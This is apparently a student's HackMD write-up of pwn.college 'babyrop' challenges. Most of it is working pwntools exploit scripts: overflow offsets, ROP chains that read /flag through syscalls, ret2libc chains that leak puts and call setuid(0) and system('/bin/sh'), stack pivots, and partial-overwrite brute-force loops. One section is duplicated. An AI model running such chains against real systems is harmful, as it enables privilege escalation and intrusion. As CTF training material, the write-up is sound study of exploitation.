Try   HackMD

Babyrop_level1

Level 1.0

image

  • It gives me full information; however, I will debug it to be legit=)).

image

  • image
  • offset: 152
  • address of win: 0x401fca

I will add ret gadget to avoid the stack alignment.

image

  • image

My script

from pwn import * offset = b'A'*152 win = p64(0x401fca) ret = p64(0x40101a) payload = offset payload += ret payload += win print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level1.0') r.sendline(payload) r.interactive()

Level 1.1

image

It doesn't show me anything; however, my work is totally similar to level 1.0.

My script

from pwn import * offset = b'A'*104 win = p64(0x40199c) ret = p64(0x40101a) payload = offset payload += ret payload += win print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level1.1') r.recvuntil(b'###\n') r.sendline(payload) r.interactive()

Babyrop_level2

The useful knowledge

lseek

man lseek

image

Level 2.1

image

It gives me full information; however, I will debug it to be legit=)).

image

  • image

image

image

I will check win_stage_1 and win_stage_2

image

image

Hmmmm, it is so complicated and unclear. Therefore, I will download the file challenge and use IDA to check it clearly.

image

  • First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that
    • v3 = strlen("content in fileflag")/2
    • I will call the length in "/flag": len
  • Then, it move the pointer to the beginning of file "/flag"
  • Afterward, It read len / 2 from the beginning of the file to buf
  • Finally, it will write buf to stdout.
  • So, I only have the half of flag

image

  • First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that
    • v3 = strlen("content in fileflag")/2
    • I will call the length in "/flag": len
  • Then, it move the pointer to the middle of file "/flag"
  • Afterward, It read len / 2 from the beginning of the file to buf
  • Finally, it will write buf to stdout.
  • So, I only have the end half of flag

I must call both win_stage_1 and win_stage_2 to have full flag

My script

from pwn import * offset = b'A'*120 win_1 = p64(0x40261e) win_2 = p64(0x4026cb) ret = p64(0x40101a) payload = offset payload += ret payload += win_1 payload += win_2 print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level2.0') r.recvuntil(b'address).\n') r.sendline(payload) r.interactive()

Level 2.2

image

It doesn't show me anything; however, my work is totally similar to level 2.0.

My script

from pwn import * offset = b'A'*88 win_1 = p64(0x40222d) win_2 = p64(0x4022da) ret = p64(0x40101a) payload = offset payload += ret payload += win_1 payload += win_2 print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level2.1') r.recvuntil(b'###\n') r.sendline(payload) r.interactive()

Babyrop_level2

The useful knowledge

lseek

man lseek

image

Level 2.1

image

It gives me full information; however, I will debug it to be legit=)).

image

  • image

image

image

I will check win_stage_1 and win_stage_2

image

image

Hmmmm, it is so complicated and unclear. Therefore, I will download the file challenge and use IDA to check it clearly.

image

  • First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that
    • v3 = strlen("content in fileflag")/2
    • I will call the length in "/flag": len
  • Then, it move the pointer to the beginning of file "/flag"
  • Afterward, It read len / 2 from the beginning of the file to buf
  • Finally, it will write buf to stdout.
  • So, I only have the half of flag

image

  • First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that
    • v3 = strlen("content in fileflag")/2
    • I will call the length in "/flag": len
  • Then, it move the pointer to the middle of file "/flag"
  • Afterward, It read len / 2 from the beginning of the file to buf
  • Finally, it will write buf to stdout.
  • So, I only have the end half of flag

I must call both win_stage_1 and win_stage_2 to have full flag

My script

from pwn import * offset = b'A'*120 win_1 = p64(0x40261e) win_2 = p64(0x4026cb) ret = p64(0x40101a) payload = offset payload += ret payload += win_1 payload += win_2 print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level2.0') r.recvuntil(b'address).\n') r.sendline(payload) r.interactive()

Level 2.2

image

It doesn't show me anything; however, my work is totally similar to level 2.0.

My script

from pwn import * offset = b'A'*88 win_1 = p64(0x40222d) win_2 = p64(0x4022da) ret = p64(0x40101a) payload = offset payload += ret payload += win_1 payload += win_2 print(payload) with open("run", 'wb') as file: file.write(payload) r = process('/challenge/babyrop_level2.1') r.recvuntil(b'###\n') r.sendline(payload) r.interactive()

Babyrop_level3

The useful knowledge

Calling convention

Level 3.0

image

It gives me full information; however, I will debug it to be legit=)).

image

image

  • image

image

  • image

image

  • image

image

  • image

image

  • image

Each win_stage_ divides my content into the file "/flag", so I must call both of them to get the flag

However, I need to pass agrument to each function. Acccording to the calling convention

The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9.

, I need pass the agrument to rdi

Find the information

image

  • offset: 104

image

  • image

image

  • image

My script

from pwn import * offset = b'A'*104 win_stage_1 = p64(0x4023d9) win_stage_2 = p64(0x402760) win_stage_3 = p64(0x402598) win_stage_4 = p64(0x40267a) win_stage_5 = p64(0x4024b5) poprdi_ret = p64(0x402b53) ret = p64(0x40101a) payload = offset payload += ret payload += poprdi_ret payload += p64(1) payload += win_stage_1 payload += poprdi_ret payload += p64(2) payload += win_stage_2 payload += poprdi_ret payload += p64(3) payload += win_stage_3 payload += poprdi_ret payload += p64(4) payload += win_stage_4 payload += poprdi_ret payload += p64(5) payload += win_stage_5 r = process('/challenge/babyrop_level3.0') r.recvuntil(b'return address).\n') r.sendline(payload) r.interactive()

Level 3.1

image

It doesn't show me anything; however, my work is totally similar to level 3.0.

My script

from pwn import * offset = b'A'*40 win_stage_1 = p64(0x4018f7) win_stage_2 = p64(0x40164f) win_stage_3 = p64(0x401815) win_stage_4 = p64(0x40172f) win_stage_5 = p64(0x40156c) poprdi_ret = p64(0x401b33) ret = p64(0x40101a) payload = offset payload += ret payload += poprdi_ret payload += p64(1) payload += win_stage_1 payload += poprdi_ret payload += p64(2) payload += win_stage_2 payload += poprdi_ret payload += p64(3) payload += win_stage_3 payload += poprdi_ret payload += p64(4) payload += win_stage_4 payload += poprdi_ret payload += p64(5) payload += win_stage_5 r = process('/challenge/babyrop_level3.1') r.recvuntil(b'###\n') r.sendline(payload) r.interactive()

Babyrop_level4

Level 4.0

image

  • It gives me the information about the address of my input in stack

image

  • image

I don't see the useful information to get the flag; so, I need to check the gadget

image

image

image

image

No function can be used for getting the flag, so I must find the gadget or something to do it.

image

image

image

image

image

I will pass the string "/flag" somewhere in the stack, where I know the address of it, to make the pointer for the agrument when I use syscall

  • Such as the address start from my input

The trick approach

Hmm, i think about the syscall, such as open, read and write the flag

However, I can't find the useful gadget to get the file descriptor from register rax ro rdi for my read syscall

  • image
  • image
  • image

Thus, I find many ways to do read syscall, but it doesn't work.

man open(2)

image

So, I try to pass file descriptor is 3. Luckily, it is successful.

from pwn import * context.log_level = 'debug' offset = b'a' * 64 #72 is offset between buf and ret addr poprax_ret = p64(0x4026db) poprdi_ret = p64(0x4026bb) poprsi_ret = p64(0x4026e3) poprdx_ret = p64(0x4026c3) syscall = p64(0x4026eb) r = process('/challenge/babyrop_level4.0') r.recvuntil(b'[LEAK] Your input buffer is located at:') buf = int(r.recvn(15), 16) #also the address of /flag print(f'Buf: {hex(buf)}') payload = b'/flag\x00\x00\x00' #null byte to get the correct string payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x02) #syscall open payload += poprdi_ret payload += p64(buf) #pointer to string payload += poprsi_ret payload += p64(0) payload += syscall #I will read '/flag' and save it to the stack, I think it may be after buf, addr of it: buf + 0x8 payload += poprdi_ret payload += p64(3) #I guess file descriptor will return value 3 payload += poprsi_ret payload += p64(buf + 0x8) #I will get the content in "/flag" into this address payload += poprax_ret payload += p64(0) #syscall read payload += poprdx_ret payload += p64(100) #the size I want to read payload += syscall #Afterwards, I will print it payload += poprax_ret payload += p64(0x01) #syscall write payload += poprdi_ret #stdout payload += p64(1) payload += poprsi_ret payload += p64(buf + 0x8) #the address save my buf which contain flag payload += poprdx_ret payload += p64(100) #size to write payload += syscall r.recvuntil(b'\n') with open("run", 'wb') as file: file.write(payload) r.sendline(payload) r.interactive()

The approach

I will use chmod syscall; afterward, I will cat "/flag"

man chmod(1)

image

from pwn import * context.log_level = 'debug' offset = b'a' * 64 #72 is offset between buf and ret addr #push rax ; add dil, dil ; loopne 0x401275 ; nop ; ret pushrax_some = p64(0x401209) poprax_ret = p64(0x4026db) poprdi_ret = p64(0x4026bb) poprsi_ret = p64(0x4026e3) poprdx_ret = p64(0x4026c3) syscall = p64(0x4026eb) r = process('/challenge/babyrop_level4.0') r.recvuntil(b'[LEAK] Your input buffer is located at:') buf = int(r.recvn(15), 16) #also the address of /flag print(f'Buf: {hex(buf)}') payload = b'/flag\x00\x00\x00' payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x5a) #chmod syscall payload += poprdi_ret payload += p64(buf) #pointer string payload += poprsi_ret payload += p64(0x4) #mode for chmod payload += syscall r.recvuntil(b'\n') with open("run", 'wb') as file: file.write(payload) r.sendline(payload) r.interactive()

Level 4.1

It doesn't show me anything; however, my work is totally similar to level 4.0.

open, read, write syscall

from pwn import * context.log_level = 'debug' offset = b'a' * 48 #56 is offset between buf and ret addr poprax_ret = p64(0x401aee) poprdi_ret = p64(0x401b15) poprsi_ret = p64(0x401af5) poprdx_ret = p64(0x401ae5) syscall = p64(0x401afd) r = process('/challenge/babyrop_level4.1') r.recvuntil(b'[LEAK] Your input buffer is located at:') buf = int(r.recvn(15), 16) #also the address of /flag print(f'Buf: {hex(buf)}') payload = b'/flag\x00\x00\x00' #null byte to get the correct string payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x02) #syscall open payload += poprdi_ret payload += p64(buf) #pointer to string payload += poprsi_ret payload += p64(0) payload += syscall #I will read '/flag' and save it to the stack, I think it may be after buf, addr of it: buf + 0x8 payload += poprdi_ret payload += p64(3) #I guess file descriptor will return value 3 payload += poprsi_ret payload += p64(buf + 0x8) #I will get the content in "/flag" into this address payload += poprax_ret payload += p64(0) #syscall read payload += poprdx_ret payload += p64(100) #the size I want to read payload += syscall #Afterwards, I will print it payload += poprax_ret payload += p64(0x01) #syscall write payload += poprdi_ret #stdout payload += p64(1) payload += poprsi_ret payload += p64(buf + 0x8) #the address save my buf which contain flag payload += poprdx_ret payload += p64(100) #size to write payload += syscall r.recvuntil(b'\n') with open("run", 'wb') as file: file.write(payload) r.sendline(payload) r.interactive()

chmod syscall

from pwn import * context.log_level = 'debug' offset = b'a' * 48 #56 is offset between buf and ret addr poprax_ret = p64(0x401aee) poprdi_ret = p64(0x401b15) poprsi_ret = p64(0x401af5) poprdx_ret = p64(0x401ae5) syscall = p64(0x401afd) r = process('/challenge/babyrop_level4.1') r.recvuntil(b'[LEAK] Your input buffer is located at:') buf = int(r.recvn(15), 16) #also the address of /flag print(f'Buf: {hex(buf)}') payload = b'/flag\x00\x00\x00' #null byte to get the correct string payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x02) #syscall open payload += poprdi_ret payload += p64(buf) #pointer to string payload += poprsi_ret payload += p64(0) payload += syscall payload = b'/flag\x00\x00\x00' payload += offset #I will open '/flag' payload += poprax_ret payload += p64(0x5a) #chmod syscall payload += poprdi_ret payload += p64(buf) #pointer string payload += poprsi_ret payload += p64(0x4) payload += syscall r.recvuntil(b'\n') with open("run", 'wb') as file: file.write(payload) r.sendline(payload) r.interactive()

Babyrop_level5

Level 5.0

Let's check the gadget

image

image

image

image

image

  • image
  • image
  • image
  • image
  • image

The uncompleted approach

image

As you see, there are no stack leaks and ASLR is enable

image
However, I see the useful gadget to pass my input to the address.

I don't know the address of stack, so I try to check the other region.

image

.data: 0x0000000000404078

image

In debug

  • image

So, I pick the address 0x4040ff for my "/flag" and open, read, and write a system call like in the previous challenge.

from pwn import * context.log_level = 'debug' offset = b'a'*88 #"/flag": 0x2f666c6167 flag = [0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00] #.data = 0x404078 Data = 0x4040ff #0x000000000040127b : add byte ptr [rcx], al ; pop rbp ; ret add_rcx_al = p64(0x40127b) ret = p64(0x40101a) poprax_ret = p64(0x401c28) poprdi_ret = p64(0x401c60) poprsi_ret = p64(0x401c58) poprdx_ret = p64(0x401c38) poprcx_ret = p64(0x401c49) syscall = p64(0x401c30) payload = offset payload += ret for i in range (8): payload += poprcx_ret payload += p64(Data + i) payload += poprax_ret payload += p64(flag[i]) payload += add_rcx_al payload += p64(0) #rbp #open "/flag" payload += poprax_ret payload += p64(0x02) #open syscall payload += poprdi_ret payload += p64(Data) #pointer to string payload += poprsi_ret payload += p64(0) payload += syscall #read "/flag" to somewhere in data region, buf payload += poprax_ret payload += p64(0) payload += poprdi_ret payload += p64(3) payload += poprsi_ret payload += p64(Data + 0xf) payload += poprdx_ret payload += p64(100) payload += syscall #write buf to stdout payload += poprax_ret payload += p64(0x1) payload += poprdi_ret payload += p64(3) payload += poprsi_ret payload += p64(Data + 0xf) payload += poprdx_ret payload += p64(100) payload += syscall r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload) r.interactive()

One of the ouputs I receive

image

I don't know why it contains those instructions; therefore, I try to go with the bigger offset 0x4041ff.

image

It still doesn't work

I have tried and tried to find other writeable space, but there is no hope!!!

I was stuck and panic.

The approach

After many attempts to think about this challenge, I have succeeded.

I will use libc to do my work. I think about using system() to get the shell with root permission.

The interesting is that root permission

How can do it???

I see setuid

image

image

I find some informations about this, and take the reuslt.

setuid(0) fails to execute for root owned program

image

  • It will be successful if the program has this

image

Okeyyyyy, it is possible to do it.

How do I find the address?

  • I will leak the address of puts() relying on puts_plt and puts_got.

Next, we will find the address of string "/bin/sh", system(), setuid() depend the offset between them and the address of puts, and use them.

image

So, I will find the information in /lib/x86_64-linux-gnu/libc.so.6

image

  • puts_got: 0x404028

image

  • puts_plt : 0x401110
from pwn import * context.log_level = 'debug' offset = b'a'*88 puts_plt = p64(0x401110) puts_got = p64(0x404028) ret = p64(0x40101a) poprax_ret = p64(0x401c28) poprdi_ret = p64(0x401c60) poprsi_ret = p64(0x401c58) poprdx_ret = p64(0x401c38) syscall = p64(0x401c30) payload_leak = offset payload_leak += poprdi_ret payload_leak += puts_got payload_leak += puts_plt r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload_leak) r.interactive()

image

Okey, it leaks for me the address of puts; I will take it as the hex value

def bytes_to_hex(data): """Converts bytes to a hex and reverses the byte order. Args: data: A byte string. Returns: A hex with the byte order reversed. """ return int(''.join(['{:02x}'.format(b) for b in reversed(data)]), 16)
from pwn import * def bytes_to_hex(data): """Converts bytes to a hex and reverses the byte order. Args: data: A byte string. Returns: A hex with the byte order reversed. """ return int(''.join(['{:02x}'.format(b) for b in reversed(data)]), 16) context.log_level = 'debug' offset = b'a'*88 puts_plt = p64(0x401110) puts_got = p64(0x404028) ret = p64(0x40101a) poprax_ret = p64(0x401c28) poprdi_ret = p64(0x401c60) poprsi_ret = p64(0x401c58) poprdx_ret = p64(0x401c38) syscall = p64(0x401c30) payload_leak = offset payload_leak += poprdi_ret payload_leak += puts_got payload_leak += puts_plt r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload_leak) r.recvuntil(b'Leaving!\n') addr_puts_byte = r.recv(6) addr_puts = bytes_to_hex(addr_puts_byte) print(f"LEAKKKKKKKKKK {addr_puts_byte} : {hex(addr_puts)}") r.interactive()

image

Hmmm, however, I only have one input

What happens if I call the main again?

This idea sound good.

image

payload_leak = offset payload_leak += poprdi_ret payload_leak += puts_got payload_leak += puts_plt payload_leak += main #0x401d88 r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload_leak) r.recvuntil(b'Leaving!\n') addr_puts_byte = r.recv(6) addr_puts = bytes_to_hex(addr_puts_byte) print(f"LEAKKKKKKKKKK {addr_puts_byte} : {hex(addr_puts)}") r.recvuntil(b'Return Oriented Programming!\n') r.sendline(b'a'*10) r.interactive()

image

It seems that I call the main again unsuccessful.

I have spent many time for this, and have the result.

I use IDA to see this, View -> Graphs -> Function calls

image

I try with _start and it works.

image

image

Okey, I will find the offset between puts and others

image

  • offset of puts in libc: 0x84420

image

  • offset of system in libc: 0x52290

image

  • offset of "/bin/sh" in libc: 0x1b45bd

image

  • offset of setuid in libc: 0xe4150

The step

  • Leak the address of puts() relying on puts_plt and puts_got.
  • Rewind the main.
  • Find the address of string "/bin/sh", system(), setuid() depend the offset between them and the address of puts.
  • Call them

My script

from pwn import * def bytes_to_hex(data): """Converts bytes to a hex and reverses the byte order. Args: data: A byte string. Returns: A hex with the byte order reversed. """ return int(''.join(['{:02x}'.format(b) for b in reversed(data)]), 16) context.log_level = 'debug' offset = b'a'*88 puts_plt = p64(0x401110) puts_got = p64(0x404028) main = p64(0x4011b0) ret = p64(0x40101a) poprax_ret = p64(0x401c28) poprdi_ret = p64(0x401c60) poprsi_ret = p64(0x401c58) poprdx_ret = p64(0x401c38) syscall = p64(0x401c30) #0000000000052290 <__libc_system@@GLIBC_PRIVATE> system_libc_offset = 0x52290 #0000000000084420 <_IO_puts@@GLIBC_2.2.5>: puts_libc_offset = 0x84420 #00000000000e4150 <setuid@@GLIBC_2.2.5> setuid_libc_offset = 0xe4150 #"/bin/sh" binsh_libc_offset = 0x1b45bd payload_leak = offset payload_leak += poprdi_ret payload_leak += puts_got payload_leak += puts_plt payload_leak += main r = process('/challenge/babyrop_level5.0') r.recvuntil(b'Return Oriented Programming!\n') r.sendline(payload_leak) r.recvuntil(b'Leaving!\n') addr_puts_byte = r.recv(6) addr_puts = bytes_to_hex(addr_puts_byte) print(f"LEAKKKKKKKKKK {addr_puts_byte} : {hex(addr_puts)}") addr_system = addr_puts - puts_libc_offset + system_libc_offset addr_binsh = addr_puts - puts_libc_offset + binsh_libc_offset addr_setuid = addr_puts - puts_libc_offset + setuid_libc_offset r.recvuntil(b'Return Oriented Programming!\n') payload = offset payload += poprdi_ret payload += p64(0) payload += p64(addr_setuid) payload += poprdi_ret payload += p64(addr_binsh) payload += p64(addr_system) r.sendline(payload) r.interactive()

Level 5.1

It is totally similar to level 5.0; however, to make it simple, I will use the power of pwntools to write my script.

from pwn import * context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level5.1', checksec=False) libc = exe.libc r = process(exe.path) rop1 = ROP(exe) #offset: 72 puts_got = exe.got['puts'] _start = exe.sym['_start'] #Rop gadget rop1.raw('A'*72) rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("The address of _start: " + hex(_start)) log.info("Dump ropchain: " + rop1.dump()) r.send(rop1.chain()) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.raw('A'*72) rop2.setuid(0) rop2.system(binsh) print(rop2.dump()) r.send(rop2.chain()) r.interactive()

Babyrop_level6

It is totally similar to level 5; however, to make it simple, I will use the power of pwntools to write my script.

Level 6.0

from pwn import * context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level6.0', checksec=False) libc = exe.libc r = process(exe.path) rop1 = ROP(exe) #offset: 120 puts_got = exe.got['puts'] _start = exe.sym['_start'] #Rop gadget rop1.raw('A'*120) rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("The address of _start: " + hex(_start)) log.info("Dump ropchain: " + rop1.dump()) r.send(rop1.chain()) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.raw('A'*120) rop2.setuid(0) rop2.system(binsh) log.info("Dump ropchain: " + rop2.dump()) r.send(rop2.chain()) r.interactive()

Level 6.1

from pwn import * context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level6.1', checksec=False) libc = exe.libc r = process(exe.path) rop1 = ROP(exe) #offset: 72 puts_got = exe.got['puts'] _start = exe.sym['_start'] #Rop gadget rop1.raw('A'*72) rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("The address of _start: " + hex(_start)) log.info("Dump ropchain: " + rop1.dump()) r.send(rop1.chain()) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.raw('A'*72) rop2.setuid(0) rop2.system(binsh) log.info("Dump ropchain: " + rop2.dump()) r.send(rop2.chain()) r.interactive()

Babyrop_level7 && Babyrop_level 8

They are the same as the previous challenge =)))))

Babyrop_level9

Level 9.0

It is a special challenge, I need to use stack pivot to solve this.

image

image

  • As you see, it take input into 0x4140e0 <data+65536>, this address is not in the stack. However, it will copy 0x18(24) bytes from this address into rbp+8(this save return address)
  • It means I only have 3 gadgets to run my ROPchain.

image

image

image

leave is exactly equivalent to

mov %rbp, %rsp # rsp = rbp, mov rsp,rbp in Intel syntax
pop %rbp

  • So, I will contol rsp to the address store my gadget.
from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('./babyrop_level9.0', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *challenge+281 b *challenge+481 """) else: r = process(exe.path) rop1 = ROP(exe) puts_got = exe.got['puts'] _start = exe.sym['_start'] leave_ret = 0x00000000004016ab poprbp_ret = 0x000000000040129d start_input = 0x4140e0 rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("Dump ropchain: " + rop1.dump()) payload_pivot = p64(poprbp_ret) payload_pivot += p64(start_input + 16) payload_pivot += p64(leave_ret) payload_pivot += rop1.chain() log.info("The address of _start: " + hex(_start)) r.send(payload_pivot) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.setuid(0) rop2.system(binsh) log.info("Dump ropchain: " + rop2.dump()) payload = p64(poprbp_ret) payload += p64(start_input + 16) payload += p64(leave_ret) payload += rop2.chain() r.send(payload) r.interactive()

Level 9.1

from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level9.1', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *challenge+281 b *challenge+481 """) else: r = process(exe.path) rop1 = ROP(exe) puts_got = exe.got['puts'] _start = exe.sym['_start'] leave_ret = 0x000000000040205e poprbp_ret = 0x00000000004011bd start_input = 0x415080 rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("Dump ropchain: " + rop1.dump()) payload_pivot = p64(poprbp_ret) payload_pivot += p64(start_input + 16) payload_pivot += p64(leave_ret) payload_pivot += rop1.chain() log.info("The address of _start: " + hex(_start)) r.send(payload_pivot) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.setuid(0) rop2.system(binsh) log.info("Dump ropchain: " + rop2.dump()) payload = p64(poprbp_ret) payload += p64(start_input + 16) payload += p64(leave_ret) payload += rop2.chain() r.send(payload) r.interactive()

Babyrop_level10

Level 10.0

image

  • As you see, the challenge require call win function to get the flag. However, win function has just been dynamically(random) constructed on the stack.
  • If I only get this address of win function and ret, I will not study more=))).
  • Thus, I will use the approach to solve this challenge which only use the information about leaking stack.
  • I download this chall and library into my computer to use pwndbg, it is convenient to do this than gdb=)).

image

image

image

This is win function.

image

  • However, PIE enable,hm

  • I can't find the address of gadget to use it.

  • Notably

    • image
      • This is the image before I start the program.
    • image
        • This is the image after I start the program.
  • As you see, PIE is not random all byte.

  • Therefore, I can overwrite the least significant(with 0x2f) byte to use gadget

    • image
    • It will control rsp as the previous challenge I solved.
from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level10.0', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *challenge+568 b *challenge+726 """) else: r = process(exe.path) def info(x): return log.info(x) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 64 to retaddr payload = b'a'*56 payload += p64(overwriterbp) payload += 0x2f.to_bytes(1, 'big') r.send(payload) r.interactive()

Level 10.1

from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level10.1', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *challenge+214 b *challenge+235 """) else: r = process(exe.path) def info(x): return log.info(x) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 96 to retaddr payload = b'a'*88 payload += p64(overwriterbp) payload += 0x24.to_bytes(1, 'big') r.send(payload) r.interactive()

Babyrop_level11

Level 11.0

image

  • Hmmm, I use the technique stack pivot in this challenge. In this challenge, I will do it similar to the previous challenge; however, the PIE will not change in 1.5 bytes =))) (i debug to see this). Therefore, I need to do this several times to get the flag.

image

image

from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level11.0', checksec=False) libc = exe.libc def info(x): return log.info(x) while True: try: r = process(exe.path) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 80 to retaddr payload = b'a'*72 payload += p64(overwriterbp) payload += 0x67af.to_bytes(2, 'little') r.send(payload) res = r.recvall() if b'pwn.college{' in res: print(res) r.close() exit(1) except Exception as e: r.close()

Level 11.1

from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level11.1', checksec=False) libc = exe.libc def info(x): return log.info(x) while True: try: r = process(exe.path) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 80 to retaddr payload = b'a'*104 payload += p64(overwriterbp) payload += 0x5de5.to_bytes(2, 'little') r.send(payload) res = r.recvall() if b'pwn.college{' in res: print(res) r.close() exit(1) except Exception as e: r.close()

Babyrop_level12

Level 12.0

image

In this challenge, I also download this challenge and the libc of this challenge. I spent many times to think to solve this challenge without brute-force =)))).

First, we need to know challenge work.

  • This challenge doesn't have challenge() function, and it does anything in main() function before return to _libc_start_call_main+128 it also means I can't use leave ; ret gadget in the challenge
    • image
    • image

Yepp, I also need to find gadget "leave ; ret" to use technique stack pivot. Because the program return to libc, so I need to find it in libc.

image

  • image
  • image
  • image

As you see, I need to brute-force more nibble than in the previous challenge. Thus, I see it is not legitable to do this method, I find other ways to resolve challenge.

Until I'm stuck and panic because of spending many times. Finnaly, I brute-force and wait to get the flag. Because the libc in the sever of pwncollege is not the same as my local. So, I will find the offset of gadget in sever.

image

image

from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level12.0', checksec=False) libc = exe.libc def info(x): return log.info(x) while True: try: r = process(exe.path) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 80 to retaddr payload = b'a'*72 payload += p64(overwriterbp) payload += 0x1578c8.to_bytes(3, 'little') r.send(payload) res = r.recvall() if b'pwn.college{' in res: print(res) r.close() exit(1) except Exception as e: r.close()

Level 12.1

from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level12.1', checksec=False) libc = exe.libc def info(x): return log.info(x) while True: try: r = process(exe.path) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 96 to retaddr payload = b'a'*88 payload += p64(overwriterbp) payload += 0x1578c8.to_bytes(3, 'little') r.send(payload) res = r.recvall() if b'pwn.college{' in res: print(res) r.close() exit(1) except Exception as e: r.close()